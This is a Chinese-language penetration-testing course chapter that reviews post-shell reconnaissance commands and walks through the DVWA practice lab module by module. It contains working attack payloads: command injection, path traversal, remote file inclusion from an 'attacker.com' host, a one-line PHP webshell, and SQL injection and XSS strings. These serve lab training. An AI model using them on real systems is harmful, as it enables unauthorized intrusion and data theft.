第8章 基础巩固与编码加密(第21--22天)
8.1 基础命令复盘与DVWA熟悉(第21天)
核心目标
-
系统性复盘核心命令:通过场景化任务,巩固Linux/Windows系统、网络、文本处理、信息收集等核心命令的肌肉记忆。
-
深度熟悉DVWA平台:遍历DVWA(安全级别设为Low)的每一个漏洞模块,理解其功能、漏洞点及基础的攻击演示,建立对各类Web漏洞的直观认识。
-
建立"问题-工具-命令"映射:面对一个简单的渗透测试子任务,能快速联想到需要使用的工具和具体命令。
模块一:核心命令场景化复盘
1.1 系统与文件操作
-
场景任务:你获得了一个Linux靶机的初步Shell,需要进行初步信息收集。
-
核心命令回顾:
# 1. 系统与用户信息 whoami # 当前用户 id # 用户详细信息 hostname # 主机名 cat /etc/passwd # 用户列表 cat /etc/group # 组列表 sudo -l # 检查sudo权限 # 2. 文件系统探索 pwd # 当前目录 ls -la # 详细列表 find / -type f -perm -4000 2>/dev/null # 查找SUID文件 find / -writable 2>/dev/null | grep -v "/proc/" # 查找可写文件/目录 # 3. 进程与网络 ps aux # 查看所有进程 netstat -tulnp 或 ss -tulnp # 查看监听端口
1.2 网络诊断与信息收集
-
场景任务 :对目标
target.com进行外围信息收集。 -
核心命令回顾:
# 1. 基础网络诊断 ping -c 4 target.com traceroute target.com nslookup target.com dig target.com ANY # 2. 端口与服务发现 nmap -sS -sV -O -p- target.com # 3. Web信息收集 whatweb http://target.com gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt nikto -h http://target.com
1.3 文本处理与日志分析
-
场景任务 :分析Apache访问日志
access.log,找出可疑请求。 -
核心命令回顾:
# 1. 过滤与统计 grep "sql_injection" access.log awk '{print $1}' access.log | sort | uniq -c | sort -nr # 统计IP访问量 #注:|sort|:将相同的IP聚集在一起,方便uniq -c IP访问量的统计。;sort -nr :对统计到的数据进行降序排序出来。 awk '{print $9}' access.log | sort | uniq -c # 统计HTTP状态码 # 2. 实时监控 tail -f /var/log/apache2/access.log | grep --line-buffered "union.*select" #注: --line-buffered :作用是关键的性能优化和保证数据传输的实时性。-f:表示的是对数据进行实时监控。 #上述命令的作用是:实时从监控的日志中查找union.*select 。
1.4 Windows环境
-
场景任务:在已获取权限的Windows主机上收集信息。
-
核心命令回顾:
systeminfo #查看系统的相信信息 whoami /priv #查看当前用户的权限范围 net user #查看所有的系统用户 net localgroup administrators #列出本地管理员组的成员(权限评估,寻找横向移动对象) netstat -ano #显示所有的活动连接与对应的pid(后门检测,端口占用排查)n:表示的是使用数字来显示地址和端口;o:显示每个进程对应的PID. tasklist #列出所有运行中的进程(定位恶意进程,PID关联分析)
模块二:DVWA漏洞模块全览与初步实践
前提 :将DVWA安全级别设置为 Low。
2.1 Brute Force(暴力破解)
-
漏洞点:登录表单无防暴破机制。
-
实践:使用Burp Suite Intruder,对密码参数进行字典攻击。
2.2 Command Injection(命令注入)
-
漏洞点:用户输入直接拼接到系统命令中执行。
-
实践 :输入
127.0.0.1 && whoami,验证命令执行。
2.3 CSRF(跨站请求伪造)
-
漏洞点:修改密码请求无需验证令牌。
-
实践:构造一个恶意HTML页面,诱使已登录用户访问,实现密码被修改。
2.4 File Inclusion(文件包含)
-
漏洞点:通过参数动态包含文件,未限制路径。
-
实践:
-
LFI :
../../../../etc/passwd -
RFI :
http://attacker.com/shell.txt(需配置允许)
-
2.5 File Upload(文件上传)
-
漏洞点:未对上传文件的类型、内容做有效检查。
-
实践 :上传一个PHP webshell(如
<?php system($_GET['c']);?>),并访问执行命令。
2.6 Insecure CAPTCHA(不安全的验证码)
-
漏洞点:验证码验证逻辑可在客户端绕过。
-
实践:修改表单提交参数,绕过验证码步骤。
2.7 SQL Injection(SQL注入)
-
漏洞点:用户输入直接拼接到SQL查询。
-
实践 :输入
1' OR '1'='1,获取所有用户信息。
2.8 SQL Injection (Blind)(SQL盲注)
-
漏洞点:SQL注入漏洞存在,但无错误回显,需通过布尔或时间差异判断。
-
实践 :输入
1' AND SLEEP(5)#,观察响应延时。
2.9 XSS(跨站脚本)
-
漏洞点:用户输入未过滤直接输出到页面。
-
实践:
-
Reflected :在输入框提交
<script>alert('XSS')</script>。 -
Stored:在留言板提交上述脚本,查看持久化效果。
-
模块三:当日达标实战任务
3.1 命令复盘挑战
在不查看任何笔记的情况下,完成以下任务序列,并记录所用命令:
-
在Kali中 :查找
/usr/share目录下所有大小超过10MB的.txt文件。 -
在Kali中 :统计
/var/log/auth.log中"Failed password"事件出现的总次数。 -
在Kali中:对同一网络中的Metasploitable2靶机进行快速存活检测,并扫描其1-1000号端口。
-
在Windows靶机中(如有):获取系统安装的所有补丁列表。
3.2 DVWA模块遍历
将DVWA安全级别设置为Low,依次完成以下操作,并截图记录结果:
-
在
Brute Force模块,使用Burp Suite Intruder,尝试用5个常见密码(如password,123456,admin,letmein,qwerty)爆破admin账户。 -
在
Command Injection模块,执行命令127.0.0.1 && cat /etc/passwd,查看系统用户列表。 -
在
File Upload模块,上传一个一句话PHP Webshell,并通过浏览器访问该Shell,执行id命令。 -
在
SQL Injection模块,通过手工注入,获取数据库版本信息。
3.3 攻击链简单串联
模拟一个简单场景:你通过File Upload漏洞上传了Webshell,获得了命令执行能力。请写出通过此Webshell,在目标服务器上完成的后续信息收集步骤(至少5条命令)。
模块四:常见问题与解决方案
4.1 命令遗忘
-
策略 :善用
man命令、--help参数以及apropos命令。建立自己的命令速查笔记(CherryTree等)。 -
核心 :理解命令的功能(做什么),而非死记硬背选项。例如,查找文件用
find,分析文本用grep/awk/sed,查看网络用netstat/ss。
4.2 DVWA访问或配置问题
-
无法登录/数据库连接错误 :检查DVWA的
config/config.inc.php文件数据库配置,确认MySQL服务已启动,并使用setup.php页面重置数据库。 -
文件上传失败 :检查
php.ini中file_uploads是否为On,以及上传目录权限。
明日预告 :第22天将深入编码、哈希与加密 的世界,学习Base64、Hex、常见哈希算法(MD5, SHA1)的原理,并掌握Kali中hash-identifier、hashcat、john等强大工具的使用,为密码破解和数据分析打下基础。